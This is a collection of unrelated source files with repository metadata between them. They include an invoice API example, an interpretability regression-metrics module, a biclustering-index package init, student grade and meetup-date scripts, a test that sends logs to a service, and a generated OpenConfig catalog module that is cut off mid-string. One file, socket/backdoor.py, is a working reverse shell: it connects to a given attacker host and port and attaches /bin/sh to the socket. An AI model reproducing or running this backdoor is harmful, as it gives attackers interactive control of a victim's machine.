"name": "شرکت رضا زارع", # "ssoId": "11963175", # "ssoIssuerCode": 1, # "profileImage": "https://core.pod.ir:443/nzh/image/?imageId=..." # }, # "willBeBlocked": false, # "willBePaid": false, # "unsafeCloseTimeOut": 0, # "edited": false, # "waiting": false, # "subInvoice": false # }, # "subInvoices": [ # { # "id": 62420, # "totalAmountWithoutDiscount": 50, # "delegationAmount": 0, # "totalAmount": 50, # "payableAmount": 55, # "vat": 5, # "issuanceDate": 1579947664810, # "deliveryDate": 0, # "paymentBillNumber": "1049721", # "uniqueNumber": "415bbfbe4de82f52", # "paymentDate": 0, # "payed": false, # "serial": 0, # "canceled": false, # "cancelDate": 0, # "business": { # "id": 9343, # "name": "کسب و کار حمید", # "numOfProducts": 12, # "rate": { # "rate": 0, # "rateCount": 0 # }, # "sheba": "500570000000000000000001" # }, # "invoiceItemSrvs": [ # { # "id": 67564, # "amount": 50, # "description": "پورسانت - کسب و کار 9343 ذینفع اول فاکتور - کاهش تعداد از 2 به 1", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # } # ], # "guildSrv": { # "id": 561, # "name": "سرویس دهندگان", # "code": "API_GUILD" # }, # "closed": false, # "verificationNeeded": false, # "safe": false, # "postVoucherEnabled": false, # "referenceNumber": "72426946", # "issuerSrv": { # "id": 16128, # "name": "شرکت رضا زارع", # "ssoId": "11963175", # "ssoIssuerCode": 1, # "profileImage": "https://core.pod.ir:443/nzh/image/?imageId=..." # }, # "willBeBlocked": false, # "willBePaid": false, # "unsafeCloseTimeOut": 0, # "edited": false, # "waiting": false, # "subInvoice": true # }, # { # "id": 62421, # "totalAmountWithoutDiscount": 30, # "delegationAmount": 0, # "totalAmount": 30, # "payableAmount": 33, # "vat": 3, # "issuanceDate": 1579947664811, # "deliveryDate": 0, # "paymentBillNumber": "1049721", # "uniqueNumber": "71f8f9ffe02c7eb4", # "paymentDate": 0, # "payed": false, # "serial": 0, # "canceled": false, # "cancelDate": 0, # "business": { # "id": 9343, # "name": "کسب و کار حمید", # "numOfProducts": 12, # "rate": { # "rate": 0, # "rateCount": 0 # }, # "sheba": "500570000000000000000001" # }, # "invoiceItemSrvs": [ # { # "id": 67565, # "amount": 30, # "description": "کارمزد بازاریابی - کسب و کار 9343 ذینفع اول فاکتور - کاهش تعداد از 2 به 1", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # } # ], # "guildSrv": { # "id": 561, # "name": "سرویس دهندگان", # "code": "API_GUILD" # }, # "closed": false, # "verificationNeeded": false, # "safe": false, # "postVoucherEnabled": false, # "referenceNumber": "72426946", # "issuerSrv": { # "id": 16128, # "name": "شرکت رضا زارع", # "ssoId": "11963175", # "ssoIssuerCode": 1, # "profileImage": "https://core.pod.ir:443/nzh/image/?imageId=..." # }, # "willBeBlocked": false, # "willBePaid": false, # "unsafeCloseTimeOut": 0, # "edited": false, # "waiting": false, # "subInvoice": true # }, # { # "id": 62422, # "totalAmountWithoutDiscount": 220, # "delegationAmount": 0, # "totalAmount": 220, # "payableAmount": 240, # "vat": 20, # "issuanceDate": 1579947664812, # "deliveryDate": 0, # "paymentBillNumber": "1049721", # "uniqueNumber": "e8b9612554884db6", # "paymentDate": 0, # "payed": false, # "serial": 0, # "canceled": false, # "cancelDate": 0, # "business": { # "id": 12006, # "name": "Fanap", # "numOfProducts": 15, # "rate": { # "rate": 0, # "rateCount": 0 # }, # "sheba": "210150000001568301414110" # }, # "invoiceItemSrvs": [ # { # "id": 67566, # "amount": 70, # "description": "سهم از محصول اول - کسب و کار 12006 ذینفع دوم فاکتور - کاهش تعداد از 2 به 1", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # }, # { # "id": 67567, # "amount": 150, # "description": "سهم از محصول دوم - کسب و کار 12006 ذینفع دوم فاکتور", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # } # ], # "guildSrv": { # "id": 561, # "name": "سرویس دهندگان", # "code": "API_GUILD" # }, # "closed": false, # "verificationNeeded": false, # "safe": false, # "postVoucherEnabled": false, # "referenceNumber": "72426946", # "issuerSrv": { # "id": 16128, # "name": "شرکت رضا زارع", # "ssoId": "11963175", # "ssoIssuerCode": 1, # "profileImage": "https://core.pod.ir:443/nzh/image/?imageId=..." # }, # "willBeBlocked": false, # "willBePaid": false, # "unsafeCloseTimeOut": 0, # "edited": false, # "waiting": false, # "subInvoice": true # } # ], # "safe": false, # "postVoucherEnabled": false, # "referenceNumber": "72426946", # "issuerSrv": { # "id": 16128, # "name": "شرکت رضا زارع", # "ssoId": "11963175", # "ssoIssuerCode": 1, # "profileImage": "https://core.pod.ir:443/nzh/image/?imageId=..." # }, # "willBeBlocked": false, # "willBePaid": false, # "unsafeCloseTimeOut": 0, # "edited": false, # "waiting": false, # "subInvoice": false # } except APIException as e: print("API Exception\nError {}\nError Code : {}\nReference Number : {}".format(e.message, e.error_code, e.reference_number)) except InvalidDataException as e: print("Validation Exception: ", e.message) except PodException as e: print("Pod Exception: ", e.message)
[ "rz.zare@gmail.com" ]
rz.zare@gmail.com
e6114b117e16485b2ed7dabbdbb936f25a0133aa
2e7bf2c172b59e7f6fb358bc73687b738e1dbed3
/python/interpret/perf/regression.py
612c6920121ba61286fed23152b0aba5a915a189
[ "MIT" ]
permissive
rodrigovssp/interpret
58ec3a01a3621421e0b60aee76df282d11dcf48b
dbd0e2dd616f963c14184ea6ec442bacd8d92400
refs/heads/master
2020-07-20T17:19:55.161052
2019-11-22T01:28:17
2019-11-22T01:28:17
206,683,287
1
0
MIT
2019-09-06T00:54:48
2019-09-06T00:54:48
null
UTF-8
Python
false
false
2,998
py
# Copyright (c) 2019 Microsoft Corporation # Distributed under the MIT software license from ..api.base import ExplainerMixin, ExplanationMixin from ..utils import unify_data, gen_name_from_class, unify_predict_fn from sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score import numpy as np class RegressionPerf(ExplainerMixin): available_explanations = ["perf"] explainer_type = "perf" def __init__(self, predict_fn, feature_names=None, feature_types=None, **kwargs): self.predict_fn = predict_fn self.kwargs = kwargs self.feature_names = feature_names self.feature_types = feature_types def explain_perf(self, X, y, name=None): if name is None: name = gen_name_from_class(self) X, y, self.feature_names, self.feature_types = unify_data( X, y, self.feature_names, self.feature_types ) predict_fn = unify_predict_fn(self.predict_fn, X) scores = predict_fn(X) mse = mean_squared_error(y, scores) rmse = np.sqrt(mse) mae = mean_absolute_error(y, scores) r2 = r2_score(y, scores) residuals = y - scores # abs_residuals = np.abs(y - scores) counts, values = np.histogram(residuals, bins="doane") overall_dict = { "type": "perf_curve", "density": {"names": values, "scores": counts}, "scores": scores, "mse": mse, "rmse": rmse, "mae": mae, "r2": r2, "residuals": residuals, } internal_obj = {"overall": overall_dict, "specific": None} return RegressionExplanation( "perf", internal_obj, feature_names=self.feature_names, feature_types=self.feature_types, name=name, ) class RegressionExplanation(ExplanationMixin): explanation_type = None def __init__( self, explanation_type, internal_obj, feature_names=None, feature_types=None, name=None, selector=None, ): self.explanation_type = explanation_type self._internal_obj = internal_obj self.feature_names = feature_names self.feature_types = feature_types self.name = name self.selector = selector def data(self, key=None): if key is None: return self._internal_obj["overall"] return None def visualize(self, key=None): from ..visual.plot import plot_density data_dict = self.data(key) if data_dict is None: return None rmse = data_dict["rmse"] r2 = data_dict["r2"] title = "{0} <br> RMSE = {1:.2f}" + " | R<sup>2</sup> = {2:.2f}" title = title.format(self.name, rmse, r2) density_fig = plot_density( data_dict["density"], title=title, xtitle="Residuals", ytitle="Density" ) return density_fig
[ "interpretml@outlook.com" ]
interpretml@outlook.com
90f6c43e4d795ce0d9d1b36dac534bc62b5b7896
06ff4c9b61578823f7fac8d52b67ea0dbaf69665
/bic_index/__init__.py
cd87dd7dff0ad3ca7aef0f0416d57d911d7f2c9d
[ "MIT" ]
permissive
horta/bic-index
671e4b2fd14f52ce0ac46b41db62bd257bf93d1a
849a52812d6e8ed1c23ffa20e5199711ce809aa2
refs/heads/master
2020-06-01T11:31:15.376758
2019-06-09T13:54:05
2019-06-09T13:54:05
190,764,476
2
0
null
null
null
null
UTF-8
Python
false
false
857
py
""" Biclustering indices Similarity measures for comparing biclustering solutions. """ from ._anne import anne_rnia from ._ayadi import ayadi from ._bozdag import bozdag_extra, bozdag_uncovered from ._csi import csi from ._ebc import ebc from ._eren import eren_recovery, eren_relevance from ._error import biclustering_error from ._fabia import fabia from ._lew import lew from ._prelic import prelic_recovery, prelic_relevance from ._stmaria import stmaria from ._testit import test from ._w import wdic, wjac __version__ = "0.0.1" __all__ = [ "__version__", "anne_rnia", "ayadi", "biclustering_error", "bozdag_extra", "bozdag_uncovered", "csi", "ebc", "eren_recovery", "eren_relevance", "fabia", "lew", "prelic_recovery", "prelic_relevance", "stmaria", "test", "wdic", "wjac", ]
[ "danilo.horta@gmail.com" ]
danilo.horta@gmail.com
a685bf18fd3fee1b3518a28a9032d2900d823215
beb9ac9ed895b375fbea240bf7d56281d6a0a481
/20200720/test6.py
77549574c1392e64ab03417146f5243dce61a00d
[]
no_license
MinjeongSuh88/python_workspace
5b0c7e2a7b3543e65df1f07066e4a52f23294ac5
b13afdc8cf4e42496fa2b5c8df3c5effc7f7488d
refs/heads/master
2022-11-30T11:05:52.347243
2020-08-14T09:04:42
2020-08-14T09:04:42
285,185,265
0
0
null
null
null
null
UTF-8
Python
false
false
639
py
# 사용자로부터 국어, 수학, 영어 점수를 입력받아 합계, 평균을 구하고 등급 매기기 kor,mat,eng=input("국어, 수학, 영어 점수를 입력하시오").split() total=int(kor)+int(mat)+int(eng) ave=total/3 print(total, ave) if ave >= 90: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 A') elif ave >= 80: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 B') elif ave >= 70: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 C') elif ave >= 60: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 D') else: print('당신의 학점은')
[ "69196506+MinjeongSuh88@users.noreply.github.com" ]
69196506+MinjeongSuh88@users.noreply.github.com
a93dd5b8d10a589e061e9b9519f5ca1f58befe2b
f3c33b6a9270d53d8cb657f3bb1912938edd6c39
/js/nextdates.py
d6fcf479b41e02b430d8f336e95e214d388389eb
[]
no_license
ivanteoh/sypy.github.com
5742685c2ab9a740623ae58851946bc278b16499
31487a991143eea26d37ec23e7915a6d86dbd834
refs/heads/master
2021-01-24T21:08:21.060830
2015-09-03T05:52:16
2015-09-03T05:52:16
39,477,784
0
0
null
2015-07-22T01:06:26
2015-07-22T01:06:25
null
UTF-8
Python
false
false
685
py
from datetime import datetime import calendar import math now = datetime.now() def next_date(week, day_of_week): year, month = (now.year, now.month) day = calendar.monthcalendar(now.year, now.month)[week][day_of_week] if now.day > day: year = int(2014 + math.floor(11/12)) month = now.month % 12 + 1 day = calendar.monthcalendar(year, month)[week][day_of_week] return datetime(year, month, day, 18, 30) nights = [('SyPy', 0, 3), ('Hacknight', 2, 1), ('SyDjango', 3, 3)] for date, event in sorted([(next_date(week, day), event) for event, week, day in nights]): print("Next %s:\t%s" % (event, date)) # developed at hacknight 2014-10-16
[ "software@pretaweb.com" ]
software@pretaweb.com
1955c0eaee30b357d039fab734906caf9c53a51c
5e1e23ddc54af207d61cdc069367388bed35974f
/math_func.py
9220dbb1d8499eb0d917f1e67388b1b7358b416e
[]
no_license
khmahmud101/python_unit_test-pytest-
af19504fd9d4f438a9234a27867b511351247fa7
81023dd4162a9e210c7e51d84363377fdf3105fa
refs/heads/master
2020-11-28T05:33:16.325805
2019-12-29T13:17:48
2019-12-29T13:17:48
229,717,468
0
0
null
null
null
null
UTF-8
Python
false
false
74
py
def add(x,y=2): return x + y def product(x,y=2): return x * y
[ "kmahmud1991@gmail.com" ]
kmahmud1991@gmail.com
7fc29cf7195d9833782774d8fc92c5bddf59e5ae
0b0ba6de1808c4214ccb1f39077c7f59d939b059
/python/samples/hhAnalyzeSamples_2016_nanoAOD_sync.py
03b0a86398c5cf82c9b412f064342c938225c0db
[]
no_license
HEP-KBFI/hh-bbww
b1e434994764d294459208e7515d4e8ad29b3ecd
7e03769356d21bfe3597d2e0cba7ceeb2a73e62c
refs/heads/master
2023-04-30T16:12:26.824547
2023-04-24T17:38:02
2023-04-24T17:38:02
149,094,236
2
4
null
2022-09-09T10:59:47
2018-09-17T08:37:12
Python
UTF-8
Python
false
false
2,101
py
from collections import OrderedDict as OD # file generated at 2020-03-03 10:45:15 with the following command: # create_dictionary.py -m python/samples/metaDict_2016_hh_sync.py -p /local/karl/sync_ntuples/2016/nanoAODproduction/2019Dec06 -N samples_2016 -E 2016 -o python/samples -g hhAnalyzeSamples_2016_nanoAOD_sync.py -M samples_2016 = OD() samples_2016["/GluGluToRadionToHHTo2B2VTo2L2Nu_M-750_narrow_13TeV-madgraph-v2/RunIISummer16MiniAODv3-PUMoriond17_94X_mcRun2_asymptotic_v3-v2/MINIAODSIM"] = OD([ ("type", "mc"), ("sample_category", "signal"), ("process_name_specific", "signal_ggf_spin0_750_hh_2b2v"), ("nof_files", 1), ("nof_db_files", 3), ("nof_events", { }), ("nof_tree_events", 144981), ("nof_db_events", 298727), ("fsize_local", 361661929), # 361.66MB, avg file size 361.66MB ("fsize_db", 13966996917), # 13.97GB, avg file size 4.66GB ("use_it", True), ("xsection", 0.027654), ("genWeight", True), ("triggers", ['1e', '1mu', '2e', '2mu', '1e1mu', '3e', '3mu', '2e1mu', '1e2mu', '1e1tau', '1mu1tau', '2tau']), ("has_LHE", True), ("nof_PSweights", 1), ("LHE_set", "LHA IDs 262000 - 262100 -> NNPDF30_lo_as_0130 PDF set, expecting 101 weights (counted 101 weights)"), ("nof_reweighting", 0), ("local_paths", [ OD([ ("path", "/local/karl/sync_ntuples/2016/nanoAODproduction/2019Dec06/signal_ggf_spin0_750_hh_2b2v"), ("selection", "*"), ("blacklist", []), ]), ] ), ("missing_completely", [ # not computed ]), ("missing_from_superset", [ # not computed ]), ("missing_hlt_paths", [ ]), ("hlt_paths", [ # not computed ]), ]) samples_2016["sum_events"] = [ ]
[ "karlehataht@gmail.com" ]
karlehataht@gmail.com
f65ac26d969168699050a86ebdd004165c00bad7
017ca2cfff50c9bb4865cba3ae6e765b4df83190
/tests/test_app.py
7548042caac5fea22c56b64e581544f1ffb4d90b
[]
no_license
cjrh/venus
d011bebb3185107d6ac326a03a2b4fad258a4e42
961287ea4fcaa80bf67371df9b6588155ef625a8
refs/heads/master
2021-06-11T08:18:15.648241
2021-04-23T05:08:31
2021-04-23T05:08:31
178,842,174
0
0
null
2021-04-23T05:08:33
2019-04-01T10:43:46
Python
UTF-8
Python
false
false
2,926
py
import asyncio import os import signal import subprocess as sp import sys import time from pprint import pprint from uuid import uuid4 import biodome import portpicker import pytest from asyncpg import Connection def cross_platform_process_terminator(proc: sp.Popen): if sys.platform == 'win32': proc.send_signal(signal.CTRL_BREAK_EVENT) else: proc.send_signal(signal.SIGTERM) def cross_platform_creation_flags(): if sys.platform == 'win32': return sp.CREATE_NEW_PROCESS_GROUP else: return 0 @pytest.fixture(scope='module') def venus_runner(db_fixture): """This is the venus application""" port = portpicker.pick_unused_port() env = {**os.environ, **{k: str(v) for k, v in dict(MAX_BATCH_SIZE=1).items()}} proc = sp.Popen(['venus', '--zmqport', str(port)], env=env, creationflags=cross_platform_creation_flags()) try: yield proc, port finally: print('Killing venus') cross_platform_process_terminator(proc) try: proc.wait(timeout=2.0) except sp.TimeoutExpired: print('Process did not shutdown in 2 seconds. Killing.') proc.kill() def run_app(port, iterations, delay=0.2, env=None): """This is a fake microservice""" if env: env = {**os.environ, **env} proc = sp.Popen([f'{sys.executable}', 'tests/sender.py', '-p', f'{port}', '-i', f'{iterations}', '-d', f'{delay}' ], env=env, creationflags=cross_platform_creation_flags(), ) return proc def test_send_logs(db_fixture, db_pool_session, venus_runner): proc_venus, port = venus_runner # Give it a moment to start up time.sleep(1) message_uuids = [str(uuid4()) for i in range(10)] env = dict(SENDER_ITEMS=str(message_uuids)) with biodome.env_change('MAX_BATCH_SIZE', 1): proc_app = run_app(port, iterations=10, env=env) try: proc_app.wait(10) except sp.TimeoutExpired: print('Fake app still not finished. Killing.') cross_platform_process_terminator(proc_app) # Fetch records from the DB to verify that the log messages arrived. async def get(): # Cannot use the db_pool fixture, because it mutates the # db.DATABASE_POOL global, which is what main.amain *also* does. async with db_pool_session.acquire() as conn: conn: Connection return await conn.fetch('SELECT * FROM logs') loop = asyncio.get_event_loop() records = loop.run_until_complete(get()) pprint(records) logged_message_ids = {r['message'] for r in records} print('logged:', logged_message_ids) print('expected:', message_uuids) assert logged_message_ids.issuperset(message_uuids)
[ "caleb.hattingh@gmail.com" ]
caleb.hattingh@gmail.com
2bdafa18c0708627394a434ab0414269d1abe63d
6045075c734d65a3cec63d3ae15f8f9f13836559
/solutions/0397_Integer_Replacement/math.py
32709a4dc2322dd0c95365874f0fdffd2ecbb39f
[]
no_license
zh-wang/leetcode
c058470fdf84fb950e3d4f974b27826718942d05
6322be072e0f75e2da28b209c1dbb31593e5849f
refs/heads/master
2021-12-28T02:49:11.964213
2021-08-25T06:29:21
2021-08-25T06:29:21
189,919,649
0
0
null
null
null
null
UTF-8
Python
false
false
375
py
class Solution: def integerReplacement(self, n: int) -> int: cnt = 0 while n > 1: if n % 2 == 0: # half n when n is even n >>= 1 # every odd integer mod 4 is either 1 or 3 elif n == 3 or n % 4 == 1: n -= 1 else: n += 1 cnt += 1 return cnt
[ "viennakanon@gmail.com" ]
viennakanon@gmail.com
0ad82150a6438039d05ec42973e02c3791d07064
3a48e3469239ce17b4f01b98b85e052faf137ab0
/unittestdemo/test_testloader.discover.py
1086acda8b46cc3522d0fdd845a26cb5cd4708b6
[]
no_license
langdawang678/Py
3b6887bb7840ec73ee750e69f5c0f2988730746d
7f0863a245fc51a1dd07d2c8954eac67b55daac2
refs/heads/master
2021-07-17T22:03:01.177913
2021-07-14T14:01:16
2021-07-14T14:01:16
174,823,049
1
0
null
null
null
null
UTF-8
Python
false
false
716
py
""" 演示unittest.TestLoader().discover()方法 测试用例执行步骤 1、初始化加载器,testloader=unittest.TestLoader() 2、查找测试用例,suite=testloader.discover(文件夹,默认test开头) # 也可'test*.py' 还有其他加载的方式: 3、打开一个文件,用于存放text报告 4、初始化运行器,runner = unittest.TextTestRunner(文件) 5、运行运行器, runner.run(suite) """ import unittest testLoader = unittest.TestLoader() suite = testLoader.discover(".", "test_math*.py") print(suite) if __name__ == '__main__': with open("TextTestRunner_test_math*.py.txt", "w") as f: runner = unittest.TextTestRunner(f, verbosity=2) runner.run(suite)
[ "langdawang678@sina.com" ]
langdawang678@sina.com
e7c8acf1628cb0f95a00e249c40a5288e89d5d03
f75f841a1e0e6e7915a68bebbed7233aa5d22625
/socket/backdoor.py
b84991ed8a2899792ba542f4637c60bd9e3500f5
[ "MIT" ]
permissive
Akagi201/learning-python
4c1aa72116cdfea527fdf2afd038158e5ba7f97b
28169d1bf0488e8be1456b40dd39d7830a65280e
refs/heads/master
2022-12-08T01:25:57.842615
2022-03-14T08:02:20
2022-03-14T08:02:20
32,675,802
89
126
MIT
2022-11-24T18:20:28
2015-03-22T13:04:01
Python
UTF-8
Python
false
false
501
py
# coding=utf-8 # run: # nc -l 8888 # python 127.0.0.1 8888 import socket, subprocess, os, sys if len(sys.argv) < 3: print("Usage: python xxx.py ip port") exit(0) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine # IP: sys.argv[1], the remote host # PORT: sys.argv[2], the same port as used by the server s.connect((sys.argv[1], int(sys.argv[2]))) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"])
[ "akagi201@gmail.com" ]
akagi201@gmail.com
7cca2c1fd1067e7eb7245c0c4e8ebbd3b6f46751
6550cc368f029b3955261085eebbddcfee0547e1
/第6部分-Django(哪吒,肖锋)/django-4-权限管理-肖锋/day82/day82/luffy_permission-权限信息展示/luffy_permission/rbac/urls.py
63ffc11c1ccba1db26adec3b227b2286bd13f0ca
[]
no_license
vividyellow/oldboyeduPython14qi
d00c8f45326e16464c3d4e8df200d93779f68bd3
de1e9f6efafa2846c068b3fe5ad6e1ca19f74a11
refs/heads/master
2022-09-17T21:03:17.898472
2020-01-31T10:55:01
2020-01-31T10:55:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
544
py
from django.conf.urls import url from rbac import views urlpatterns = [ # /app01/role/list/ # rbac:role_list url(r'^role/list/$', views.role_list, name='role_list'), url(r'^role/add/$', views.role, name='role_add'), url(r'^role/edit/(\d+)$', views.role, name='role_edit'), url(r'^role/del/(\d+)$', views.del_role, name='role_del'), url(r'^menu/list/$', views.menu_list, name='menu_list'), url(r'^menu/add/$', views.menu, name='menu_add'), url(r'^menu/edit/(\d+)$', views.menu, name='menu_edit'), ]
[ "524991368@qq.com" ]
524991368@qq.com
76670d6cc29244caf6a20fec00e61bbb9d6304d1
ca68d2f60d6c05c7b51e8a1dd68e3db05a7fda39
/pycon.jp/pyconjp-csv-dump.py
bacab7ba77de0d0f4d4be230e5a230839e0e3c3a
[]
no_license
sin-tanaka/happy-scraping
352c10f3d6c3ff1e3074a886dd7ca0fbf9ad6064
84ca05ea3e5a6233897d0c77d28c861ea4c0223e
refs/heads/master
2020-05-23T22:22:33.255888
2015-12-05T11:15:21
2015-12-05T11:15:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
376
py
#! /usr/bin/env python # -*- coding: utf-8 -*- import csv import bs4 import requests url = 'https://pycon.jp/2015/ja/schedule/tutorials/list/' res = requests.get(url) soup = bs4.BeautifulSoup(res.text) titles = [(elm.text, elm.get('href')) for elm in soup.select('.presentation h3 a')] fp = open('test.csv', 'w+t') writer = csv.writer(fp) writer.writerows(titles) fp.close()
[ "takesxi.sximada@gmail.com" ]
takesxi.sximada@gmail.com
4409e4366e0257c5cfb17717de5428cf8223ad1d
b5f9d983c2d801a878570d487f664b50c0dda0b7
/oc_config_validate/oc_config_validate/models/catalog.py
7359ad9874d9960b5638f975a34e061092c324af
[ "Apache-2.0" ]
permissive
google/gnxi
36e4f53bc74dd109e3b36723f3a990e6f473cfd4
2cca83d741c326d88cc3652cfbac26161bbb7209
refs/heads/master
2023-09-01T03:07:24.685166
2023-08-09T03:11:36
2023-08-09T03:11:36
104,856,705
262
132
Apache-2.0
2023-09-08T02:01:15
2017-09-26T08:19:41
Python
UTF-8
Python
false
false
270,227
py
# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six # PY3 support of some PY2 keywords (needs improved) if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ class openconfig_catalog_types(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-catalog-types - based on the path /openconfig-catalog-types. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module defines types and identities used by the OpenConfig YANG module catalog model. """ _pyangbind_elements = {} class yc_classification_openconfig_module_catalog__organizations_organization_modules_module_classification(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/modules/module/classification. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Container for data describing the module's classification """ __slots__ = ('_path_helper', '_extmethods', '__category','__subcategory','__deployment_status',) _yang_name = 'classification' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__category = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="category", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) self.__subcategory = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_TYPE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_STANDARD': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_VENDOR': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_TYPE_USER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="subcategory", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) self.__deployment_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:EXPERIMENTAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PRODUCTION': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="deployment-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'modules', 'module', 'classification'] def _get_category(self): """ Getter method for category, mapped from YANG variable /organizations/organization/modules/module/classification/category (identityref) YANG Description: Categorization of the module based on identities defined or used by the publishing organizations. """ return self.__category def _set_category(self, v, load=False): """ Setter method for category, mapped from YANG variable /organizations/organization/modules/module/classification/category (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_category is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_category() directly. YANG Description: Categorization of the module based on identities defined or used by the publishing organizations. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_SERVICE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IETF_NETWORK_ELEMENT': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="category", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """category must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IETF_MODEL_LAYER': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 